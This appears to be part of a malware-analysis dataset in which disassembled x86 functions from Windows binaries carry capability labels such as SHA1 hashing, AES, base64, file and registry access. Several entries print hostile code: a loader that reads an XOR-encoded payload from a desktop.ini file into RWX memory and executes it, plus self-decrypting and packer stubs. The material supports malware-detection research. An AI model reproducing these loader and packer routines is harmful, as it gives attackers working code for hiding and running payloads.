joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417d90
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ecx
ret

Function at 0x417f30
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
sub esp, 0x28
mov eax, dword [0x46dff0]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x2c]
mov edx, dword [eax + 0x144]
push ebx
push ebp
sub edx, 6
push esi
xor ebp, ebp
xor ebx, ebx
push edi
mov dword [esp + 0x10], eax
test edx, edx
jle 0x417f67
mov esi, dword [esp + 0x40]
mov ecx, edx
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
test edx, edx
jle 0x417fa8
lea ecx, [ecx]
mov esi, dword [esp + 0x10]
cmp ebp, dword [esi + 0x144]
ja 0x4180d2
cmp eax, edx
jge 0x417f9a
cmp ebx, 4
jge 0x417f9d
mov edi, dword [esp + eax*4 + 0x14]
lea ecx, [ebx + ebp*4]
inc eax
inc ebx
cmp eax, edx
mov dword [esi + ecx*4 + 0x54], edi
jl 0x417f84
cmp ebx, 4
jne 0x417fa2
inc ebp
xor ebx, ebx
cmp eax, edx
jl 0x417f70
jmp 0x417fac
mov esi, dword [esp + 0x10]
cmp ebp, dword [esi + 0x144]
ja 0x4180d2
mov dword [esp + 0x10], 0x46c868
movzx ecx, byte [esp + edx*4 + 0x11]
mov al, byte [esp + 0x14]
xor al, byte [ecx + str.cw]
mov byte [esp + 0x14], al
movzx ecx, byte [esp + edx*4 + 0x12]
movzx ecx, byte [ecx + str.cw]
xor byte [esp + 0x15], cl
movzx ecx, byte [esp + edx*4 + 0x13]
movzx ecx, byte [ecx + str.cw]
xor byte [esp + 0x16], cl
movzx ecx, byte [esp + edx*4 + 0x10]
movzx ecx, byte [ecx + str.cw]
xor byte [esp + 0x17], cl
mov ecx, dword [esp + 0x10]
xor al, byte [ecx]
add ecx, 4
mov byte [esp + 0x14], al
mov dword [esp + 0x10], ecx
mov eax, 1
cmp edx, 8
je 0x418031
cmp edx, eax
jle 0x418092
mov ecx, dword [esp + eax*4 + 0x10]
xor dword [esp + eax*4 + 0x14], ecx
inc eax
cmp eax, edx
jl 0x418022
jmp 0x418092
mov ecx, dword [esp + eax*4 + 0x10]
xor dword [esp + eax*4 + 0x14], ecx
inc eax
cmp eax, 4
jl 0x418031
movzx eax, byte [esp + 0x20]
movzx ecx, byte [eax + str.cw]
movzx eax, byte [esp + 0x21]
xor byte [esp + 0x24], cl
movzx ecx, byte [eax + str.cw]
movzx eax, byte [esp + 0x22]
xor byte [esp + 0x25], cl
movzx ecx, byte [eax + str.cw]
movzx eax, byte [esp + 0x23]
xor byte [esp + 0x26], cl
movzx ecx, byte [eax + str.cw]
xor byte [esp + 0x27], cl
mov eax, 5
mov ecx, dword [esp + eax*4 + 0x10]
xor dword [esp + eax*4 + 0x14], ecx
inc eax
cmp eax, 8
jl 0x418084
xor eax, eax
test edx, edx
jle 0x4180c6
cmp ebp, dword [esi + 0x144]
ja 0x4180d2
cmp eax, edx
jge 0x4180ba
cmp ebx, 4
jge 0x4180bd
mov edi, dword [esp + eax*4 + 0x14]
lea ecx, [ebx + ebp*4]
inc eax
inc ebx
cmp eax, edx
mov dword [esi + ecx*4 + 0x54], edi
jl 0x4180a4
cmp ebx, 4
jne 0x4180c2
inc ebp
xor ebx, ebx
cmp eax, edx
jl 0x418098
cmp ebp, dword [esi + 0x144]
jbe 0x417fc0
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00437ed4
add esp, 0x28
ret
Function at 0x4180f0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov ecx, 1
cmp dword [edx + 0x144], ecx
jbe 0x4181dd
push esi
lea eax, [edx + 0x66]
push edi
lea ebx, [ebx]
movzx esi, byte [eax + 1]
mov esi, dword [esi*4 + 0x46c468]
movzx edi, byte [eax - 1]
xor esi, dword [edi*4 + 0x46bc68]
movzx edi, byte [eax]
xor esi, dword [edi*4 + 0x46c068]
movzx edi, byte [eax - 2]
xor esi, dword [edi*4 + 0x46b868]
inc ecx
mov dword [eax - 2], esi
movzx esi, byte [eax + 5]
mov esi, dword [esi*4 + 0x46c468]
movzx edi, byte [eax + 4]
xor esi, dword [edi*4 + 0x46c068]
movzx edi, byte [eax + 3]
xor esi, dword [edi*4 + 0x46bc68]
movzx edi, byte [eax + 2]
xor esi, dword [edi*4 + 0x46b868]
add eax, 0x10
mov dword [eax - 0xe], esi
movzx esi, byte [eax - 7]
mov esi, dword [esi*4 + 0x46c468]
movzx edi, byte [eax - 8]
xor esi, dword [edi*4 + 0x46c068]
movzx edi, byte [eax - 9]
xor esi, dword [edi*4 + 0x46bc68]
movzx edi, byte [eax - 0xa]
xor esi, dword [edi*4 + 0x46b868]
mov dword [eax - 0xa], esi
movzx esi, byte [eax - 3]
movzx edi, byte [eax - 4]
mov esi, dword [esi*4 + 0x46c468]
xor esi, dword [edi*4 + 0x46c068]
movzx edi, byte [eax - 5]
xor esi, dword [edi*4 + 0x46bc68]
movzx edi, byte [eax - 6]
xor esi, dword [edi*4 + 0x46b868]
mov dword [eax - 6], esi
cmp ecx, dword [edx + 0x144]
jb 0x418110
pop edi
pop esi
ret
Function at 0x4197d0
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0xc]
sub eax, 0
je 0x419814
sub eax, 1
jne 0x419836
mov eax, dword [esi + 8]
push eax
push 1
lea ecx, [esp + 0x10]
push 1
push ecx
call fcn.0043b3e2
add esp, 0x10
test eax, eax
ja 0x41980a
mov edx, dword [esp + 0xc]
mov dword [edx], 0xffffffff
or eax, 0xffffffff
pop esi
ret
inc dword [esi + 0x10]
movsx eax, byte [esp + 8]
pop esi
ret
mov ecx, dword [esi + 0x10]
cmp ecx, dword [esi]
jl 0x419829
mov eax, dword [esp + 0xc]
mov dword [eax], 0xffffffff
xor eax, eax
pop esi
ret
mov edx, dword [esi + 4]
movsx eax, byte [edx + ecx]
inc ecx
mov dword [esi + 0x10], ecx
pop esi
ret
mov eax, dword [esp + 8]
pop esi
ret

Function at 0x419840
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0xc]
sub eax, 0
je 0x419871
sub eax, 1
jne 0x419889
mov eax, dword [esi + 8]
push eax
push 1
lea ecx, [esp + 0x14]
push 1
push ecx
call fcn.0043b561
add esp, 0x10
inc dword [esi + 0x10]
mov eax, 1
pop esi
ret
mov eax, dword [esi + 0x10]
cmp eax, dword [esi]
jl 0x41987c
xor eax, eax
pop esi
ret
mov edx, dword [esi + 4]
mov cl, byte [esp + 0xc]
mov byte [eax + edx], cl
inc dword [esi + 0x10]
mov eax, 1
pop esi
ret
Function at 0x419970
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x28]
push edi
call fcn.004197a0
xor ebp, ebp
add esp, 4
mov dword [esp + 0x18], ebp
xor esi, esi
lea esp, [esp]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
mov ecx, eax
mov eax, esi
sub eax, ecx
mov dword [esp + 0x1c], eax
jmp 0x4199b0
cmp eax, ebp
jne 0x4199ce
lea edx, [esp + 0x14]
push edx
push edi
mov dword [esp + 0x1c], ebp
call fcn.004197d0
mov ebx, eax
mov eax, dword [esp + 0x24]
add esp, 8
jmp 0x4199d2
mov ebx, dword [esp + 0x18]
cmp ebx, 0xd
je 0x4199b0
cmp ebx, 0xa
je 0x4199b0
cmp dword [esp + 0x14], 0xffffffff
je 0x419b04
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], ebp
call fcn.004197d0
mov edx, eax
add esp, 8
mov dword [esp + 0x18], edx
cmp edx, 0x3d
je 0x419b04
cmp edx, 0xd
je 0x4199e7
cmp edx, 0xa
je 0x4199e7
cmp dword [esp + 0x14], 0xffffffff
je 0x419b04
cmp bl, 0x41
jb 0x419a2f
cmp bl, 0x5a
ja 0x419a2f
movzx eax, bl
sub eax, 0x41
jmp 0x419a78
cmp bl, 0x61
jb 0x419a41
cmp bl, 0x7a
ja 0x419a41
movzx eax, bl
sub eax, 0x47
jmp 0x419a78
cmp bl, 0x30
jb 0x419a53
cmp bl, 0x39
ja 0x419a53
movzx eax, bl
add eax, 4
jmp 0x419a78
cmp bl, 0x2a
jne 0x419a5f
mov eax, 0x3e
jmp 0x419a78
cmp bl, 0x2f
jne 0x419a6b
mov eax, 0x3f
jmp 0x419a78
xor eax, eax
cmp bl, 0x3d
setne al
dec eax
and eax, 0x41
dec eax
mov ebx, dword [esp + 0x1c]
lea ecx, [ebx + ebx + 2]
shl al, cl
mov byte [esp + 0x13], al
cmp dl, 0x41
jb 0x419a98
cmp dl, 0x5a
ja 0x419a98
movzx eax, dl
sub eax, 0x41
jmp 0x419ae1
cmp dl, 0x61
jb 0x419aaa
cmp dl, 0x7a
ja 0x419aaa
movzx eax, dl
sub eax, 0x47
jmp 0x419ae1
cmp dl, 0x30
jb 0x419abc
cmp dl, 0x39
ja 0x419abc
movzx eax, dl
add eax, 4
jmp 0x419ae1
cmp dl, 0x2a
jne 0x419ac8
mov eax, 0x3e
jmp 0x419ae1
cmp dl, 0x2f
jne 0x419ad4
mov eax, 0x3f
jmp 0x419ae1
xor eax, eax
cmp dl, 0x3d
setne al
dec eax
and eax, 0x41
dec eax
mov edx, dword [esp + 0x24]
mov cl, 2
sub cl, bl
add cl, cl
shr al, cl
or al, byte [esp + 0x13]
movzx ecx, al
push ecx
push edx
call fcn.00419840
add esp, 8
inc esi
jmp 0x419990
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret

Function at 0x41d4ad
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x41d4d1
cmp dword [edi + 0x54], 0
jne 0x41d4d1
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0042366f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041d46e
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x422c48
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x422c8f
call fcn.0042366f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x422c8f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x422cab
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004227c0
mov esi, eax
test edi, edi
je 0x422ca9
test ebx, ebx
je 0x422ca9
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x424569
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x44f193
call fcn.00437ee3
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x42458e
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x4245d4
lea ecx, [ebp - 0x10]
call fcn.0041ae95
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041a8a9
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004026bb
mov eax, esi
call fcn.00437fbb
ret 8
Function at 0x425c26
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x46dff0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x425cbe
push 0x45b0d4
push 4
push eax
call fcn.00438df7
push eax
call fcn.004025d2
add esp, 0x10
push ebx
push edi
call fcn.0043c63e
mov edi, dword [eax]
call fcn.0043c63e
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0043945c
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0043c63e
cmp dword [eax], ebx
je 0x425cd5
call fcn.0043c63e
push dword [eax]
call fcn.0041c4e9
pop ecx
jmp 0x425cdc
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x425c69
jmp 0x425d63
call fcn.0043c63e
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x425d5f
cmp dword [ebp - 0x234], esi
jae 0x425d5f
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.00437ff0
add esp, 0xc
push 0x45a7d8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x425d4e
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x425d4e
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x425d4e
push ebx
push ebx
push esi
jmp 0x425d57
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x425d61
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00437ed4
leave
ret

Function at 0x427704
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x42774c
call fcn.0042366f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42774c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x42778f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x427778
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x427778
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x42778c
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x437ed4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46dff0]
jne 0x437ede
repz ret
jmp fcn.004406ac
Function at 0x43bac1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x43baf2
call fcn.0043c651
mov dword [eax], esi
call fcn.0043c63e
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00439601
add esp, 0x14
push 0x16
pop eax
jmp 0x43bb47
test dword [ebp + 0xc], 0xfffffff9
jne 0x43bace
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x43bb1f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0043c664
pop ecx
call fcn.0043c63e
mov eax, dword [eax]
jmp 0x43bb47
test al, 0x10
jne 0x43bb45
test al, 1
je 0x43bb45
test byte [ebp + 0xc], 2
je 0x43bb45
call fcn.0043c651
mov dword [eax], 5
call fcn.0043c63e
mov dword [eax], 0xd
jmp 0x43bb16
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4482fa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043e449
and dword [ebp - 4], 0
cmp dword [0x474978], 0
mov ebx, eax
jne 0x4483ab
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44845c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45d530
push edi
call esi
test eax, eax
je 0x44845c
push eax
call fcn.0043e3d7
mov dword [esp], 0x45d520
push edi
mov dword [0x474978], eax
call esi
push eax
call fcn.0043e3d7
mov dword [esp], 0x45d50c
push edi
mov dword [0x47497c], eax
call esi
push eax
call fcn.0043e3d7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x474980], eax
call esi
push eax
call fcn.0043e3d7
pop ecx
mov dword [0x474988], eax
test eax, eax
je 0x4483ab
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043e3d7
pop ecx
mov dword [0x474984], eax
mov eax, dword [0x474984]
cmp eax, ebx
je 0x448403
cmp dword [0x474988], ebx
je 0x448403
push eax
call fcn.0043e452
push dword [0x474988]
mov esi, eax
call fcn.0043e452
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x448403
test edi, edi
je 0x448403
call esi
test eax, eax
je 0x4483fa
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4483fa
test byte [ebp - 0xc], 1
jne 0x448403
or dword [ebp + 0x10], 0x200000
jmp 0x44843c
mov eax, dword [0x47497c]
cmp eax, ebx
je 0x44843c
push eax
call fcn.0043e452
pop ecx
test eax, eax
je 0x44843c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44843c
mov eax, dword [0x474980]
cmp eax, ebx
je 0x44843c
push eax
call fcn.0043e452
pop ecx
test eax, eax
je 0x44843c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x474978]
call fcn.0043e452
pop ecx
test eax, eax
je 0x44845c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44845e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x668657ef
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x4fa21c7b
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4164c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4aa5bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049cbe6
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x416542
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049a1c4
mov eax, dword [eax]
push 0x773cec
push eax
call fcn.0048b444
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049ce71
test bl, bl
je 0x416542
push 0x773cec
lea ecx, [esp + 0xc]
call fcn.0049d24d
push 0x773cf8
lea ecx, [esp + 0xc]
call fcn.0049d24d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41657e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049ce71
jmp 0x416649
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x416602
lea edx, [esp + 0x7c]
push 0x773cf4
push edx
call fcn.0048b444
add esp, 8
test eax, eax
je 0x416602
lea eax, [esp + 0x7c]
push 0x773cf0
push eax
call fcn.0048b444
add esp, 8
test eax, eax
je 0x416602
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x416592
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049ce71
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416e40
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x416ea2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc